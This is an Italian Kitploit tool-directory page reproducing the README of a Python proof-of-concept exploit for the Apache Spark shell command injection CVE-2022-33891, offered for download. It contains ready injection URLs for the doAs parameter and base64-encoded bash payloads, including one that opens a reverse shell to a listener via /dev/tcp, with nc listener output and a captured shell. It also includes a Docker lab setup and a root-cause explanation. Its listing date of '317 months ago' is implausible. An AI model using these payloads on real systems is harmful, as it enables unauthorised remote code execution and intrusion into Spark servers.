Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2022-33891 — Exploit proof-of-concept in Python per Apache Spark Shell Command Injection (CVE-2022-33891) con blind OS injection, rilevamento basato su sleep e capacità di reverse shell. | Kitploit
Strumenti/GitHubGitHub/akbartrilaksana/cve-2022-33891
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and Control
GitHubakbartrilaksana/cve-2022-33891

cve-2022-33891

Exploit proof-of-concept in Python per Apache Spark Shell Command Injection (CVE-2022-33891) con blind OS injection, rilevamento basato su sleep e capacità di reverse shell.

Vedi Repository
317 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-33891

Vulnerabilità di Iniezione di Comandi Shell in Apache Spark

Un POC Python per sfruttare la vulnerabilità di iniezione di comandi shell in Apache Spark. Ho visto altri POC in giro ma sembravano molto sospetti. Questo è pulito e semplice.

Non ho scoperto questo exploit/vulnerabilità. Volevo solo creare un POC sicuro per la community ^.^

Versioni Affette

Versioni di Apache Spark 3.0.3 e precedenti, versioni dalla 3.1.1 alla 3.1.2, e versioni dalla 3.2.0 alla 3.2.1

Componente Vulnerabile

root@kitploit:~
http://localhost:8080/?doAs=`[iniezione di comandi qui]`

Esempio

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... esegue una pausa di 10 secondi

Configurazione

È necessaria una versione vulnerabile di Spark con una singola opzione di configurazione modificata.

  • Installa le dipendenze: $ pip3 install -r requirements.txt
  • Spostati nella directory .
spark/
  • Usa il file docker-compose.yml fornito nella directory spark/ ed esegui docker-compose up. Lascia che il container si avvii.
  • In un nuovo terminale, esegui sudo docker exec -it spark_spark_1 /bin/bash
  • Nella sessione bash del container, inserisci: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • Opzionalmente, visualizza il contenuto di spark-defaults.conf per assicurarti che sia corretto.
  • Esci dalla shell bash interattiva e premi Ctl-C per fermare il processo docker-compose.
  • Una volta che i container si sono spenti correttamente, riesegui docker-compose up
  • Utilizzo

    root@kitploit:~
    usage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
    
    Script POC Python per CVE-2022-33891
    
    argomenti opzionali:
      -h, --help            mostra questo messaggio di aiuto ed esce
      -u URL, --url URL     URL da sfruttare.
      -p PORT, --port PORT  Porta del target da sfruttare.
      --revshell            Opzione di reverse shell.
      -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                            Indirizzo IP del tuo host in ascolto.
      -lp LISTENINGPORT, --listeningport LISTENINGPORT
                            Porta del tuo host in ascolto.
      --check               Verifica se il target è sfruttabile con un test di sleep
    
    

    Esempi

    Verifica se il target è vulnerabile:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
    [*] Tentativo di connessione al sito...
    [*] Esecuzione del test di sleep di 10 secondi...
    [*] Richiesta completa dell'exploit: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
    [+] La sleep è durata 10 secondi! Questo target è probabilmente vulnerabile!
    

    Esegui comandi in un loop di prompt:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
    [*] Modalità "Interattiva"!
    [!] Nota: non riceverai alcun output da questi comandi. Prova a usare qualcosa come ping o sleep per testare l'esecuzione.
    > sleep 5
    [*] Richiesta completa dell'exploit: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
    > 
    

    Esegui una reverse shell:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
    [*] Modalità reverse shell.
    [*] Configura il tuo listener inserendo quanto segue:
     nc -nvlp 1337
    [!] Quando il tuo listener è pronto, premi invio!
    [*] Richiesta completa dell'exploit: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
    
    ...[nell'altro terminale]...
    
    husky@dev-kde:~/spark$ nc -nvlp 1337
    Listening on 0.0.0.0 1337
    Connection received on 172.21.0.2 55278
    sh: 0: can't access tty; job control turned off
    $ whoami
    spark
    

    Ulteriori informazioni

    L'iniezione di comandi avviene perché Spark verifica l'appartenenza al gruppo dell'utente passato nel parametro ?doAs utilizzando un comando Linux grezzo.

    Passando id come utente si produce questo errore nel traceback:

    root@kitploit:~
    spark_1  | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
    spark_1  | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1: 
    spark_1  | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
    spark_1  | org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1
    
    

    Qui, Java ha deciso che fosse meglio passare il comando id in bash -c per verificare l'appartenenza al gruppo di un utente specificato. Il problema è che ciò consente anche l'iniezione di comandi.

    Le versioni patchate parametrizzano questa chiamata per avere un percorso completo al comando /bin/id invece di bash -c id

    Vale la pena notare che non viene restituito nulla sulla pagina durante l'esecuzione del comando, quindi si tratta di un'iniezione OS cieca. I comandi vengono eseguiti, ma non ci sarà alcuna indicazione se hanno funzionato o meno, o addirittura se il programma che stai eseguendo è presente sul target. Ad esempio, il container che viene avviato con il file docker-compose.yml in questo repository non ha ping, quindi verificare l'iniezione di comandi tramite un pingback non funzionerà. Ma non lo saprai e rimarrai a chiederti se ha funzionato o meno.

    Il test di sleep è una scommessa sicura ^.^

    Riferimenti

    • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
    • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
    • https://spark.apache.org/docs/2.1.0/configuration.html
    • https://github.com/W01fh4cker/cve-2022-33891 (Sconsiglio di usare questo POC)
    Scarica lo strumento